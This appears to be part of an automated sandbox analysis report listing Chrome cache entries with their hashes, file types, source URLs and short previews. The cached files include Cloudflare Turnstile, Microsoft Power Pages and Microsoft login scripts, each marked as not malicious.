Preview:	{. "hash": "/host/main.04a618205e.chunk.js".}

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48395)
Category:	downloaded
Size (bytes):	48444
Entropy (8bit):	5.284267981780026
Encrypted:	false
SSDEEP:	768:7d+Ny2FO7PjQSF/ZIvAfXCPwCo5eI9jNfTH06AV+HoUoLoYSSd+4S9rBfpuiWUD:7d+NdFQrLF5ekRH06loUoLoz4Kr7uiW4
MD5:	6027D51DC3F9461C3B5AB3A1F8C5BEED
SHA1:	9787028F6B186F85580729694A1ED66DAE58B5F5
SHA-256:	C108037861ED8A7BD3CD188CC6DA3F7DC4103207B2C77B7E439F33DFA9334309
SHA-512:	59D2F7FA229810027D9D82AFC1FB17FE20FE5172E596C204D274B65E5CA887A6FD4F9736787EE1413ACA4F7324198183FAB2F0D41D9889D3F0902E905A14B894
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/448.462407f435.chunk.js
Preview:	(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[448],{9448:(t,e,r)=>{"use strict";function n(t){for(var e=arguments.length,r=Array(e>1?e-1:0),n=1;n<e;n++)r[n-1]=arguments[n];throw Error("[Immer] minified error nr: "+t+(r.length?" "+r.map((function(t){return"'"+t+"'"})).join(","):"")+". Find the full error at: https://bit.ly/3cXEKWf")}function o(t){return!!t&&!!t[V]}function i(t){var e;return!!t&&(function(t){if(!t\|\|"object"!=typeof t)return!1;var e=Object.getPrototypeOf(t);if(null===e)return!0;var r=Object.hasOwnProperty.call(e,"constructor")&&e.constructor;return r===Object\|\|"function"==typeof r&&Function.toString.call(r)===J}(t)\|\|Array.isArray(t)\|\|!!t[Y]\|\|!!(null===(e=t.constructor)\|\|void 0===e?void 0:e[Y])\|\|p(t)\|\|h(t))}function a(t,e,r){void 0===r&&(r=!1),0===u(t)?(r?Object.keys:X)(t).forEach((function(n){r&&"symbol"==typeof n\|\|e(n,t[n],t)})):t.forEach((function(r,n){return e(n,r,t)}))}function u(t){var e=t[V];return e?e.i>3?e.i-4

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	downloaded
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8422)
Category:	downloaded
Size (bytes):	8612
Entropy (8bit):	5.412598774383013
Encrypted:	false
SSDEEP:	192:U/MkH8WMYu4HAxY90dIKe8KG+8Kj10SM8Be6thf/g:UoWMYu4cS0CGP+8VSLeQhfo
MD5:	1DC7540813F00864F80D146889952EA2
SHA1:	93FF4BD80E9E3645F5D277D5C9D045971D055564
SHA-256:	32C09B085C80835DF9F2B2024D20C76DFB4663A49C455F58CDED0FBCDEC19494
SHA-512:	573F57B124C33E54CA75A0F469D06FFAD859703A54E9A237833DC92B6DDD3527A5E2D0016295AE195095CA3AEAAF573DA7F17334C0902A01C18C3B60BC81AEB6
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/main.04a618205e.chunk.js
Preview:	(()=>{var e,t,r,o,n,a,i,l,f,u,c,s,d,h,p,v,m,g,b,y,w,P={7797:(e,t,r)=>{./!. Copyright (C) Microsoft Corporation. All rights reserved.. */.Promise.all([r.e(448),r.e(559),r.e(41),r.e(82),r.e(646),r.e(349)]).then(r.bind(r,4210))}},j={};function O(e){var t=j[e];if(void 0!==t)return t.exports;var r=j[e]={id:e,loaded:!1,exports:{}};return P[e].call(r.exports,r,r.exports,O),r.loaded=!0,r.exports}O.m=P,O.c=j,O.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return O.d(t,{a:t}),t},t=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,O.t=function(r,o){if(1&o&&(r=this(r)),8&o)return r;if("object"==typeof r&&r){if(4&o&&r.__esModule)return r;if(16&o&&"function"==typeof r.then)return r}var n=Object.create(null);O.r(n);var a={};e=e\|\|[null,t({}),t([]),t(t)];for(var i=2&o&&r;"object"==typeof i&&!~e.indexOf(i);i=t(i))Object.getOwnPropertyNames(i).forEach((e=>a[e]=()=>r[e]));return a.default=()=>r,O.d(n,a),n},O.d=(e,t)=>{for(var r in t)O.o(t,r)&&!O.o(e,r)&&Object.defineProperty(e,r,{enume

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8056)
Category:	dropped
Size (bytes):	8107
Entropy (8bit):	5.397793507774724
Encrypted:	false
SSDEEP:	192:4/hnsGbHgerW0JiVdQgmAB7B7fkM9rHjAZt:4/hnsGbHgiW0jgmy7t9ZcP
MD5:	86D02538FCA59B05B1C0479F013993FC
SHA1:	484718F407A44A2852A22A242C2736CC85E3E59C
SHA-256:	5C01B319D8FCFD764F5154FE0A39F8D21B4D664A3E503569A43896FB07DCD86C
SHA-512:	5C0B0BCE25ACBBBF0A6B6EF06F2EDF5A8A539D6FA3B199631A9C5287A1B51A25061C9FCFBB7FA6D81318123DC0900BB633337BA657EC9AB48C2F1B6C8056532B
Malicious:	false
Reputation:	low
Preview:	var mf_shared;(()=>{"use strict";var e,r,t,a,n,o,i,f,l,u,s,d,c,h,p,m,v,g,b,y={9449:(e,r,t)=>{var a={"./usePagesStore":()=>t.e(753).then((()=>()=>t(6753))),"./FederatedControl":()=>Promise.all([t.e(370),t.e(5),t.e(819)]).then((()=>()=>t(9334)))},n=(e,r)=>(t.R=r,r=t.o(a,e)?a[e]():Promise.resolve().then((()=>{throw new Error('Module "'+e+'" does not exist in container.')})),t.R=void 0,r),o=(e,r)=>{if(t.S){var a="default",n=t.S[a];if(n&&n!==e)throw new Error("Container initialization failed as it has already been initialized with a different share scope");return t.S[a]=e,t.I(a,r)}};t.d(r,{get:()=>n,init:()=>o})}},w={};function S(e){var r=w[e];if(void 0!==r)return r.exports;var t=w[e]={id:e,loaded:!1,exports:{}};return y[e](t,t.exports,S),t.loaded=!0,t.exports}S.m=y,S.c=w,S.n=e=>{var r=e&&e.__esModule?()=>e.default:()=>e;return S.d(r,{a:r}),r},S.d=(e,r)=>{for(var t in r)S.o(r,t)&&!S.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},S.f={},S.e=e=>Promise.all(Object.keys(S.f).reduc

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1835)
Category:	dropped
Size (bytes):	1884
Entropy (8bit):	5.189888619404054
Encrypted:	false
SSDEEP:	48:imcClmcCBjYEjvNkjul8Vv30IFCgcYPhsjr3Xls2Osmip9sHoyWsplWrMY0wsTSA:1PMPBjYEjvNkjulgvEXgDJOHlcm9RT2D
MD5:	DFD19253D3DBC5521540512B5B2B05FB
SHA1:	63C7C12B96231EA61F6DF2DAFAF53FEBB20D627D
SHA-256:	810C0D1DE636403CE04DD194F9230C998613BA37D1496463648055B44E2B95F6
SHA-512:	8EDBDB57FB7025B1E839887549341FC871F5A72EEF83DF46F65EC2DE3F1E3ACC1308EF1D0E91A91863B322E47AEE900221EBD793BC0B152712809A339FD8969A
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[243],{7243:(e,t,o)=>{o.r(t),o.d(t,{AnnounceProvider:()=>M,AnnounceProvider_unstable:()=>M,BackgroundAppearanceProvider:()=>g,CustomStyleHooksContext_unstable:()=>h,CustomStyleHooksProvider_unstable:()=>y,OverridesProvider_unstable:()=>p,PortalMountNodeProvider:()=>H,Provider_unstable:()=>b,ThemeClassNameProvider_unstable:()=>a,ThemeContext_unstable:()=>r,ThemeProvider_unstable:()=>u,TooltipVisibilityProvider_unstable:()=>c,useAnnounce:()=>O,useAnnounce_unstable:()=>O,useBackgroundAppearance:()=>w,useCustomStyleHook_unstable:()=>A,useFluent_unstable:()=>x,useOverrides_unstable:()=>f,usePortalMountNode:()=>S,useThemeClassName_unstable:()=>d,useTooltipVisibility_unstable:()=>C});var n=o(5041);const r=n.createContext(void 0),u=r.Provider,s=n.createContext(void 0),i="",a=s.Provider;function d(){var e;return null!==(e=n.useContext(s))&&void 0!==e?e:i}const v=n.createContext(void

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42815)
Category:	downloaded
Size (bytes):	42864
Entropy (8bit):	5.18912803360478
Encrypted:	false
SSDEEP:	768:cKaapCJogCmlh9gCChh6FGdN9cjX26TcsJH3zvkrekD7Sfzum1N5a0Y8tR:cKrqmAGdl6dHDvtkD41NED8tR
MD5:	197395E90DC9729F818EA9939E9C0F02
SHA1:	44AB2D06F60067EDD19EDFC7150C4D8FF144BEB2
SHA-256:	E82600ABB85B8F5E55BC120B8FBA82ACD57C533C97FD6B843AD31FC75A255F56
SHA-512:	1E4D7849F1E305BD8095BB25BE4F891C45A91E573071542A4FBE5E1FA3AB37D04CD59902781C328F04BA309F23F94DC7823A3D0CC864D9658E74C78C4E913466
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/170.c9e6b9a6e9.chunk.js
Preview:	(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[170],{4170:(e,t,n)=>{"use strict";n.r(t),n.d(t,{ActionMethodsWithConfig:()=>Ce,Canvas:()=>G,CoreEventHandlers:()=>ge,DefaultEventHandlers:()=>Ee,DerivedCoreEventHandlers:()=>me,Editor:()=>Ae,Element:()=>W,Events:()=>xe,Frame:()=>V,NodeElement:()=>B,NodeHelpers:()=>de,NodeProvider:()=>f,NodeSelectorType:()=>X,QueryMethods:()=>ye,ROOT_NODE:()=>r.e3,connectEditor:()=>Z,connectNode:()=>ee,createTestNodes:()=>qe,createTestState:()=>Me,defaultElementProps:()=>H,deprecateCanvasComponent:()=>$,editorInitialState:()=>we,elementPropToNodeData:()=>U,expectEditorState:()=>Le,serializeNode:()=>se,useEditor:()=>K,useEditorStore:()=>Te,useEventHandler:()=>I,useNode:()=>M});var r=n(9448),o=n(1646),a=n.n(o),i=n(9541),s=n(9680),d=n.n(s),c=n(3037),u=n.n(c);const l=a().createContext(null),f=({id:e,related:t=!1,children:n})=>a().createElement(l.Provider,{value:{id:e,related:t}},n);function p(e,t){var n=Obje

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1280 x 535, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	109188
Entropy (8bit):	7.94544645457291
Encrypted:	false
SSDEEP:	3072:v6a1VWQVfIG3zixxFWlAe5Ia5bHfkBYoRKr34e1xQ:y0VfICzuxoZ555b/k2oRyVxQ
MD5:	38AB441ABE6C313CEA530D875763C473
SHA1:	B4DB0473B627E980F7814C3F8E2774B346B6D630
SHA-256:	77CCD0267E62F0EA960BF2A98ACDAD6111AECD5A30ADC95D0349CCF6868567FC
SHA-512:	791FF5E753EE1F3D83662F100645E0D52FD0ECF8D67E243B8913B559041C1572ABAE916E491B5248BED1B0AFB24F822FB02DC29334546418D12A8271CBA5AD14
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............Z....pHYs..$...$..P$.... .IDATx...y.dWv.....Z.....{7..e.....0.f.,....wY...X...l.V.!;.#l9B...1...(."-..U.(qF...83.........%......YK..h......DTTfU...2o.w..s$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 49211
Category:	downloaded
Size (bytes):	8567
Entropy (8bit):	7.9733240669114425
Encrypted:	false
SSDEEP:	192:nW2IKj690/e4WKi4GpQrpLhGD9U0YPSNtZTdgJWlFPqB:8E69L4qVqhsBGSNDTd4WlgB
MD5:	5F1AAEBB8A0CCB63174D9E49F7BB0247
SHA1:	F6A8CD5DF64616E8BA661A6B51A8D65A124F8E57
SHA-256:	24080E2EB11D52D0F250E73B61DE6FF7F16385DF907E8623CF26F47EE3F460FB
SHA-512:	59FDA54CC92709B8BB05B7BDDE774EFB3EF0A6440BAD3F5D013197AAE97075AC41BF96ADCA349B7E9691D680A2C27D637372E2DF13780E7694D6134C62DC514A
Malicious:	false
Reputation:	low
URL:	https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/
Preview:	...........=ks...+\|3553;....cgkIB.3.......)c.p...M...A.o._v[O..2..=g....Z-u...n.....szyr.p...e...3.'...y...%.p?../..=......FW4.g.".S..t.....g.9...nCz..I.&.>T..3.......}f..8.\..'.[..?...O..g..d.o(f.S.S.......<...I....t..+...J..%[..O.O...;...F.]g.....&.ak.3"..(.....M..\|]Z..'...r9.Q..P..c.9`.3.x.T.G.R.X.....r.T.h.ZV..5.}.N...U.[..]....../..g....u._.......+S.e.....Z..+.a.j.b{. ...3....g?..k=.h....e.m=..g.....9...R.a...2R...u...Q..qk....6..(5E..'.@.M.'.}q..i.:.4....q5..............1.)..........x.....k.l..C......bd...o/.4e>..h.......p=h<...Hj...3c.1/c..&..9)...i.=..~...g.f.LH.@....N.JL..T..@.~.SM...MFN".....?.......!ya...........9..ku..H.A..2..3K.........@x.....a.........4&v.24..7.T. .%R)6y.Z.8.4hKw..e..d..M=.<_....u.IG....../...)R..BC.}4...h.\.R.k..b*..nZ....pAj..N..W..1y...S:...R....]ry..'...B........@]W.O..)...T4...c...9c_zP.u.`..?Ou{..+.daK-..H..M....n:RS.=.a......'v..t.....W.\|5U&.U...E.iH..hhT.cO..P. .V:....Rl....h'.=Q,."u.......1...

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (61934), with no line terminators
Category:	dropped
Size (bytes):	630500
Entropy (8bit):	5.519123662448293
Encrypted:	false
SSDEEP:	12288:Mm0m0zzqWZfakJTejucy2jJfQHe3Jk1AyxknPoOMhSZ3xNpyfVTPoTju:/b0zz1akJTejucy2jJfQHe3Jk1Ayxkno
MD5:	88CB6BE085E688626F0DB33FD21E94C6
SHA1:	DDFED3438A109DB2ED257690E48C4BD8A9C4DB73
SHA-256:	ED0B89FFB4522C3F00D070FB161F7272C0857DC7E1F40BDD6974261CF96210C1
SHA-512:	64E612F86734D97C68C79A94642A47320031818BC353094ACD5AE7ED2E0EC8A639FCA65DDFFE1D709AFB26506799895484AD3802AD08240BFCA4009B6F08C225
Malicious:	false
Reputation:	low
Preview:	(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[559,90],{6815:(e,t,n)=>{"use strict";n.d(t,{s:()=>o});var r=n(5136);function o(e,t,n){void 0===n&&(n=!0);var o=!1;if(e&&t)if(n)if(e===t)o=!0;else for(o=!1;t;){var i=(0,r.P)(t);if(i===e){o=!0;break}t=i}else e.contains&&(o=e.contains(t));return o}},8715:(e,t,n)=>{"use strict";n.d(t,{w:()=>o});var r=n(5136);function o(e,t,n){return null!=n\|\|(n=document),e&&e!==n.body?t(e)?e:o((0,r.P)(e),t):null}},5136:(e,t,n)=>{"use strict";function r(e,t){return void 0===t&&(t=!0),e&&(t&&function(e){var t,n;return e&&(n=e)&&n._virtual&&(t=e._virtual.parent),t}(e)\|\|e.parentNode&&e.parentNode)}n.d(t,{P:()=>r})},3539:(e,t,n)=>{"use strict";n.d(t,{s:()=>i});var r=n(8715),o=n(6718);function i(e,t,n){var i=(0,r.w)(e,(function(e){return t===e\|\|e.hasAttribute(o.r)}),n);return null!==i&&i.hasAttribute(o.r)}},6718:(e,t,n)=>{"use strict";n.d(t,{V:()=>o,r:()=>r});var r="data-portal-element";function o(e){e.setAttribu

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7625)
Category:	downloaded
Size (bytes):	7674
Entropy (8bit):	5.1936693801975675
Encrypted:	false
SSDEEP:	192:UTJC2XKnFFW+m8cy67ko0MIs6P41xBJdRc5P+06JQ5NnG36T:UTJ1KFkfi67DIPaxVKPeanW6T
MD5:	FBAA8BF626C7A370536A67E0E49FBF2A
SHA1:	2E271B643612210C73D4DB20A3E7771830A922C0
SHA-256:	C83EE49A30249601960E9B2E2502A41128423F46517BF01E36052EA082317830
SHA-512:	2A77B33E37AC901049B0302BEA89A97FB8B21FF9DAFA422FE3CB20693BEE0F65610581BBA1D260D416FF650CEA2022857FED202610F205CB315C4FDB24ACBF18
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/465.b7a24572be.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[465],{4465:(e,t,r)=>{r.r(t),r.d(t,{immer:()=>G});var n=Symbol.for("immer-nothing"),o=Symbol.for("immer-draftable"),i=Symbol.for("immer-state");function c(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var s=Object.getPrototypeOf;function a(e){return!!e&&!!e[i]}function u(e){return!!e&&(_(e)\|\|Array.isArray(e)\|\|!!e[o]\|\|!!e.constructor?.[o]\|\|y(e)\|\|b(e))}var f=Object.prototype.constructor.toString();function _(e){if(!e\|\|"object"!=typeof e)return!1;const t=s(e);if(null===t)return!0;const r=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;return r===Object\|\|"function"==typeof r&&Function.toString.call(r)===f}function l(e,t){0===p(e)?Object.entries(e).forEach((([r,n])=>{t(r,n,e)})):e.forEach(((r,n)=>t(n,r,e)))}function p(e){const t=e[i];return t?t.type_:Array.isArray(e)?1:y(e)?2:b(e)?3:0}function d(e,t){return

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 78 x 85, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPlMN8gV//xl/k4E08up:6v/lhPKu2//7Tp
MD5:	77A5A248169E0E2819DE6D7449ED3FE2
SHA1:	8359EE002788D29BCAF2810E896B6A8160228175
SHA-256:	3EC0205140685545F64652BE0DE80148BD9E1107D7A400409C354747F089E4EF
SHA-512:	3D893826A1F34A87DA915D3AA12E4E151C237C9A088243B72D300D30A37A86C875A78781B0BF03F1C74A3275CA287B0ECADBE19E3ADE76B2D88D1372CBFE029B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...N...U.....h.E.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61300)
Category:	downloaded
Size (bytes):	164727
Entropy (8bit):	5.527686835651098
Encrypted:	false
SSDEEP:	1536:8819/khfi8Wo6f6uaCovOzAJhMRnjGhfQLEaXDGxcj+F7LwuojNfsqbc0Vzmwb54:9iIujhaXDCAfdnOATEIVA
MD5:	11A5A914937B75288F59799624B22C41
SHA1:	FA1304A3AAE266ECEEA76FF1BED1D2894DAF19F2
SHA-256:	0D123D26B7574F73FADFC2B904E098C4977CAFFFBA55A94F547ED5B23EBC4169
SHA-512:	51D67B6EC53CADDA946FFFA3BC82F3D5355E15407FDFF9EE9F01ABFAC91987EE1144016DB1BB15E9A502C1BE45D00CE25202D426707A8BC118627D2C37E2D811
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/postpreform.BootstrapV5.bundle-11a5a91493.js
Preview:	(function(e,a){var r=[];function n(t,r){var n=a.Deferred();(function e(){a.ajax(t).done(n.resolve).fail(function(){console.log("AjaxRetry attempt :".concat(r));r--;if(r>0){e()}else{n.rejectWith(this,arguments)}})})();return n.promise()}function t(){var e=a.Deferred();var t=a('#antiforgerytoken input[name="__RequestVerificationToken"]').val();if(!t){r.push(e);if(r.length===1){n({type:"GET",url:a("#antiforgerytoken").attr("data-url"),cache:false},3).done(function(e){a("#antiforgerytoken").empty().append(e);t=a('#antiforgerytoken input[name="__RequestVerificationToken"]').val();r.forEach(function(e){e.resolve(t)});r=[]}).fail(function(e){if(e&&e.responseText){var t="GetAntiForgeryToken failed".concat("Details: ",e.responseText);console.log(t);ClientLogWrapper.getLogger().traceError(t,"antiforgerytoken","","GetTokenDeferred")}r.forEach(function(e){e.reject()});r=[]})}}else{e.resolve(t)}return e.promise()}function i(){var e=a("#antiforgerytoken").attr("data-url");n({type:"GET",url:e,cache:f

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	4.425715633236933
Encrypted:	false
SSDEEP:	6:DsRaHauFrsQBhH9Uf6GQxmdMRGL3jfmm/auFrsQBhH9Uf6GQxm6XTfWIAn:DsRi5xKf6Jxm+RGnfmmT5xKf6Jxm6XTg
MD5:	7CB4A6366251589A2F7BFA12D1CC1CB4
SHA1:	A94C94B1AF63338F70312C114C40182C95EF88DB
SHA-256:	C2D957ED044439C57F5589353C379AD5184403E9DCB5C31D23FF1E2ED947332C
SHA-512:	3E8E63BFDBD1A87E8DF5F1220D2D605934A812F123F1D52EE5B8D6C145E49C2F7D3116BF9D171B96BA8B0FDA616B5D0C3DAEDD7F9950C8EF688BC928D5AC6E96
Malicious:	false
Reputation:	low
Preview:	{. "usePagesStore": {. "library": "mf_shared",. "remoteEntry": "/mf_shared/remoteEntry.31441adcab.js",. "control": "./usePagesStore". },. "FederatedControl": {. "library": "mf_shared",. "remoteEntry": "/mf_shared/remoteEntry.31441adcab.js",. "control": "./FederatedControl". }.}

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (871)
Category:	dropped
Size (bytes):	920
Entropy (8bit):	5.23981480367007
Encrypted:	false
SSDEEP:	24:imcCrImcCreivUgRFYXMLMrUXzAsc0oF9Avo3FeGuYQ1wZpIdn7V:imcCrImcCrFfWOMrUX8sc0oFevo1DuhP
MD5:	810463C3E7DB6F6CD79470456FA4E09E
SHA1:	47F48B0E06C323A21794DC9838A41310B2E0B7BB
SHA-256:	E40D6A96069A22C6D0DAB01A689A082599DC32B3BCBB1A6AE35896817EA32694
SHA-512:	4546CAD5EB9F359231755BDCE91AD637613BC9B5538781E2FB0B69550FD7B28B52ABDC3FCD1A9F8B719B7602577749415CD221C87D5965C2FC25162E97290B53
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[451],{6451:(e,t,s)=>{s.r(t),s.d(t,{createStore:()=>o,default:()=>a});const r=e=>{let t;const s=new Set,r=(e,r)=>{const o="function"==typeof e?e(t):e;if(!Object.is(o,t)){const e=t;t=(null!=r?r:"object"!=typeof o)?o:Object.assign({},t,o),s.forEach((s=>s(t,e)))}},o=()=>t,a={setState:r,getState:o,subscribe:e=>(s.add(e),()=>s.delete(e)),destroy:()=>{console.warn("[DEPRECATED] The `destroy` method will be unsupported in a future version. Instead use unsubscribe function returned by subscribe. Everything will be garbage-collected if store is garbage-collected."),s.clear()}};return t=e(r,o,a),a},o=e=>e?r(e):r;var a=e=>(console.warn("[DEPRECATED] Default export is deprecated. Instead use import { createStore } from 'zustand/vanilla'."),o(e))}}]);.//# sourceMappingURL=451.6012e266c2.chunk.js.map

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 10 x 10, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	237
Entropy (8bit):	6.43867499964275
Encrypted:	false
SSDEEP:	6:6v/lhPUg/6TsR/4x3zZeu9HsFImSAtIn4Y7FdLLZChrT8up:6v/7t/6Ts/qzMW5mtIn4wmRZ
MD5:	74710B068526106916E5A9AE5B70FA64
SHA1:	2E7344458A5EB6EFB65976EE144BBEDBA680B5AC
SHA-256:	55B9B171BB9BC15ACDD21C7A186E1268BC774B6A7C5A6FBC2F2BFEE564890325
SHA-512:	6D66F49A52C8A4E0EEB0C4F67DC85CAFEE5C2F8716E8E80EB5BE6C266F4E7CFC161EA5B0937A383BA13B1DD5B97742D70FA9630A502F87BE622FF0512BA63047
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/img/close.png
